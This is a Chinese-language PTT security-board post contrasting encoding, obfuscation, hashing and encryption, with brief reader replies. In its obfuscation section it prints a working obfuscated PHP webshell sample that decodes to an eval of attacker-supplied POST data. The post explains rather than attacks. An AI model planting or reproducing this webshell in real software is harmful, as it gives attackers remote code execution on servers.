[閒聊] 2018-M01 - 混淆、編碼、雜湊、加密 (201)

看板NetSecurity (資安 資訊安全)作者 (不要偷 Q)時間6年前 (2018/01/31 23:24), 編輯推噓12(1202)
留言14則, 13人參與, 6年前最新討論串1/1
2018-M01 - 混淆、編碼、雜揍、加密 (201) > 各種開獎、各種開履歷 ## 前言 ## 很久沒寫文章了~ 希望 2018 的第一篇合大家的口味 會寫這篇主要是最近在寫 糟(ㄟ) 糕(ㄆㄧㄢˋ) 的爬蟲 發現目標使用的技術蠻有趣的 各種浪費我的人生 但使用到的技術也僅限於混淆跟編碼 讓我想再寫一次四種關鍵字的差異性 ## 內容 ## 在很多時候 程式設計師不太想讓別人瞭解內容時會使用各種技術 總結來說可以分為三種:編碼雜湊加密 三者本身有各自的特色 就結果論來說 三者給予足夠多的資源、人力、時間都有辦法找到原本的內容 ### 編碼 ### 就實務面來說 編碼可以透過不少方式來推測編碼函數 透過頻率分析[1] 可以判斷出判斷哪些常見字的編碼方式 加快分析的速度 也可以透過足夠多的明文[2] 來做差異分析推測編碼方式 這類型都是利用本身可逆、不具雪崩性[3] 來進行攻擊 ### 混淆 ### 編碼的另一種延伸方式則是混淆[4] 透過移除不必要的資訊、替換成不易閱讀的內容造成本身的閱讀障礙 像是某天拿到的 webshell 樣本 (原本是單一行 我是為了'閱讀'方便拆成若干行) @$_=[].''; @$___=$_['']; $____=$___; $____++; $_____=$____; $_____++; $______=$_____; $______++; $_______=$______; $_______++; $________=$_______; $________++; $________++; $________++; $________++; $________++; $________++; $________++; $________++; $________++; $________++; $_________=$________; $_________++; $_________++; $_________++; $_________++; $_=$____.$___.$_________.$_______.'6'.'4'.'_'.$______.$_______.$_____.$________.$______.$_______; $________++; $________++; $________++; $_____=$_________; $_____++; $__=$___.$_________.$_________.$_______.$________.$_____; @$__($_("ZXZhbCgkX1BPU1RbY10p")) 這段 Code 本身不具可讀性 在分析上也需要花費夠多的人力才有辦法推敲其中的邏輯 透過這類型的編碼、混淆技術 在執行上沒有太大的影響 但是對於需要逆向分析其中邏輯的人 則需要花費大量時間、工具來進行分析 ### 雜湊 ### 對於雜湊[5]來說 本身設計上並不預期可逆向反推原本的資訊 透過一個 n-to-1 的數學函數 將原本的資訊壓縮成固定長度的資料 本身利用數學上證明的散佈特性 證明碰撞的情況很難發生 在隱匿資訊上的效果非凡 但本身不可逆的特性只能用來證明資料的正確性 在實務面上可以用來儲存密碼 因為在各種情況下密碼都不應該被明文儲存 這代表需要有一種方式 既可以比對密碼的正確性 又可以避免儲存明文密碼 在現代雜湊函數的設計上 都會將雪崩性設計在函數特性中 為了避免高速運算與硬體上的加速也會使用較大空間 但因本身壓縮資料的特性 代表雜湊碰撞的可能性存在 透過彩虹表[6] 技巧 可以將問題從時間轉換成空間 也就是先行計算所有可能的雜湊值來反推可行的原始內容 另外也可透過函數本身的缺陷 用比暴力破解還要快的速度來產生碰撞值 通常為了增加破解的難度 會額外使用 salt[7] 來增加額外的隨機性 ### 加密 ### 最後來到神秘的殿堂 為了結合編碼 (可逆) 與雜湊 (不可破解) 的特性 密碼學 [8] 成為最後一道防線 (?) 就現代密碼學角度來看可以分為兩大族群:對稱式與非對稱式 [9] 對稱式加密代表加密、解密使用相同的一把金鑰 這表示加密的人同時需要負擔保護金鑰的責任 就對稱式加密來看 平均了每個字出現的機率來減少頻率分析攻擊 增加了雪崩的特性來避免明文攻擊 只要確保演算法本身沒有存在嚴重的瑕疵 對稱式加密本身是一個好的保密方式 像是 AES [10] 則是一個廣泛被使用的對稱式加密演算法 除了旁道攻擊 [11] 外 目前尚未有有效的攻擊方式 但就像一開始提到的 對稱式加密需要加、解密雙方同時擁有金鑰 在某些情境下是不適合的 非對稱式加密則是加密、解密擁有不同的兩把金鑰 對需要讓雙方資訊不對等的情境下使用特別有效 非對稱加密是建構在一種特殊的數學模型上 像是去年文章 [12]中提到的 ECC 就是建構在橢圓曲線本身難以反推的特性 在這種特性下進行加密時 握有密鑰的人才有辦法解開秘文 ## 給 END 的人 ## 不想被一眼看出來內容 →編碼、混淆 想浪費別人人生 →混淆、加密 一定不想被看出內容 →雜湊 自己想看內容但別人不能看 →加密 [1]: https://en.wikipedia.org/wiki/Frequency_analysis [2]: https://en.wikipedia.org/wiki/Chosen-plaintext_attack [3]: https://en.wikipedia.org/wiki/Avalanche_effect [4]: https://en.wikipedia.org/wiki/Minification_(programming) [5]: https://en.wikipedia.org/wiki/Hash_function [6]: https://en.wikipedia.org/wiki/Rainbow_table [7]: https://en.wikipedia.org/wiki/Salt_(cryptography) [8]: https://en.wikipedia.org/wiki/Cryptography [9]: https://en.wikipedia.org/wiki/Public-key_cryptography [10]: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard [11]: https://en.wikipedia.org/wiki/Side-channel_attack [12]: https://www.ptt.cc/bbs/NetSecurity/M.1494334702.A.07A.html -- ※ 發信站: 批踢踢實業坊(ptt.cc), 來自: 123.193.122.171 ※ 文章網址: https://www.ptt.cc/bbs/NetSecurity/M.1517412273.A.E5F.html

02/01 00:51, 6年前 , 1F
推一個認真資安教學文,我還不把這四個加在一起做撒
02/01 00:51, 1F

02/01 00:51, 6年前 , 2F
尿牛丸
02/01 00:51, 2F

02/01 10:15, 6年前 , 3F
02/01 10:15, 3F

02/01 17:13, 6年前 , 4F
讚,謝謝分享!
02/01 17:13, 4F

02/01 18:22, 6年前 , 5F
謝謝
02/01 18:22, 5F

02/04 23:12, 6年前 , 6F
推~~!
02/04 23:12, 6F

02/21 14:39, 6年前 , 7F
02/21 14:39, 7F

02/25 19:49, 6年前 , 8F
02/25 19:49, 8F

02/28 22:37, 6年前 , 9F
02/28 22:37, 9F

04/02 17:17, 6年前 , 10F
推!
04/02 17:17, 10F

04/03 17:13, 6年前 , 11F
04/03 17:13, 11F

04/20 14:57, 6年前 , 12F
04/20 14:57, 12F

04/28 17:45, 6年前 , 13F
推個
04/28 17:45, 13F

05/02 14:45, 6年前 , 14F
05/02 14:45, 14F
文章代碼(AID): #1QST-nvV (NetSecurity)
文章代碼(AID): #1QST-nvV (NetSecurity)